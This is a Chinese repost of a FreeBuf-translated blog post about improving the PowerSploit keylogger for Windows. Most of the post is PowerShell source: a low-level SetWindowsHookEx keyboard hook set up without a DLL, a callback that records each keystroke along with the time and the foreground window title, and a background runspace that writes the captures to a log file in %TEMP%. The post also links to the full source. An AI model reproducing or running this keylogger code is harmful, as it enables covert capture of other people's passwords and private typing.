转载

使用PowerShell脚本做Windows键盘记录器

最近终于有机会为我经常借鉴学习的项目 PowerSploit 做出了贡献。

在2015年圣诞节后,当我正在匆匆的浏览并准备删除邮件时,我发现了一个关于键盘记录器的问题。 Coldalfred 写到“当我默认或者以参数 -PollingInterval 100或10000或40 执行 PowerShell时,PowerShell 的进程都会消耗大量的 CPU 资源,请问这正常吗?”。正好我有些闲时,于是决定好好研究并着手解决这个问题。

我已经验证了 Coldalfred 提到的这个问题,原来是 PollingInterval 参数没能够被成功的传递给初始化程序。这个参数通过设置休眠来调节检查键盘的循环。当输入为一个空值时,PowerShell Start-Sleep 命令行会抛出一个“non-terminating”的错误,但是鉴于这个特殊的实例是作为后台作业被执行的,当出错时它不会被显示出来。除了被掩盖的这个问题,使用这些作业也会消耗大量的内存资源。我的最初目标就是修复 PollingInterval 参数并移除运行空间的后台作业。下面是一段说明情况的代码段 InitializationRoutine.ps1 :

$Initilizer = {      function KeyLog {         # Win32 Imports         Start-Sleep -Milliseconds $PollingInterval         # Excessive GetAsyncKeyState loop to check for pressed keys     }}Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

现在,项目的 创建者 已经关闭了 Coldalfred 的问题“SetWindowsHookEx 也许是一个更好的键盘记录器,但是它需要在硬盘上放置一个 DLL 文件”。使用 SetWindowsHookEx 的好处在于,你可以同时钩住所有桌面上的进程并确保监听到所有的键盘信息,而不是通过 GetAsyncKeystate 循环检测每一个键的状态这样会遗漏一些记录。我对这种方法做了些研究,并发现了 Hans Passant 提出的一个 不错的观点 。Hans 解释有两种类型钩子是需不要 DLL 文件的,其中一个就是低级键盘信息。这类钩子关键在于设置完钩子后使用循环检测队列中的消息。函数  PeekMessage 可用于检查队列并设置过滤程序接收的键盘消息(0×100,0×109) HookMessageLoop.ps1 :

# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)$Stopwatch = [Diagnostics.Stopwatch]::StartNew()# Message loopwhile ($true) {     if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }     $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)     Start-Sleep -Milliseconds 10}

虽然 PowerShell 和 C# 都运行在 .NET 框架之上并且都可以操作 Windows API,但是让PowerShell 完成 C# 的工作还是需要一些智慧的。SetWindowsHookEx 依赖于应用定义的 LowLevelKeyboardProc 回调函数来处理键盘消息的。幸运的是我曾在网上看过如何在 PowerShell 中调用这些回调函数,并最终成功将其实现了。如下所示 ScriptblockCallback.ps1 :

# Define callback$CallbackScript = {     Param (         [Int32]$Code,        [IntPtr]$wParam,        [IntPtr]$lParam     )      $MsgType = $wParam.ToInt32()      # Process WM_KEYDOWN & WM_SYSKEYDOWN messages     if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {          # Get handle to foreground window         $hWindow = $GetForegroundWindow.Invoke()          # Read virtual-key from buffer         $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)          # Parse virtual-key         if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters }         elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters }         elseif (($vKey -ge 48 -and $vKey -le 57) -or `                 ($vKey -ge 186 -and $vKey -le 192) -or `                 ($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters }         else { Special Keys }          # Get foreground window's title         $Title = New-Object Text.Stringbuilder 256        $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)          # Define object properties         $Props = @{             Key = $Key             Time = [DateTime]::Now            Window = $Title.ToString()         }         New-Object psobject -Property $Props     }     # Call next hook or keys won't get passed to intended destination     return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)}# Cast scriptblock as LowLevelKeyboardProc callback$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])$Callback = $CallbackScript -as $Delegate# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

剩下的工作就是将它们打包放入一个单独的运行空间中执行就行了 KeyLoggerRunspace.ps1 :

function Get-Keystrokes {     [CmdletBinding()]      Param (         [Parameter(Position = 0)]         [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]         [String]$LogPath = "$($env:TEMP)/key.log",        [Parameter(Position = 1)]         [Double]$Timeout,        [Parameter()]         [Switch]$PassThru     )      $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)      try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }     catch { throw $_ }      $Script = {         Param (             [Parameter(Position = 0)]             [String]$LogPath,            [Parameter(Position = 1)]             [Double]$Timeout         )          # function local:Get-DelegateType         # function local:Get-ProcAddress          # Imports         # $CallbackScript          # Cast scriptblock as LowLevelKeyboardProc callback         # Get handle to PowerShell for hook         # Set WM_KEYBOARD_LL hook         # Message loop          # Remove the hook         $UnhookWindowsHookEx.Invoke($Hook)     }      # Setup KeyLogger's runspace     $PowerShell = [PowerShell]::Create()     [void]$PowerShell.AddScript($Script)     [void]$PowerShell.AddArgument($LogPath)     if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }      # Start KeyLogger     [void]$PowerShell.BeginInvoke()      if ($PassThru.IsPresent) { return $PowerShell }}

完整的源码可以在 Github 上面找到。

*原文地址: [patch-tuesday] ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/geek/94309.html
正文到此结束
Loading...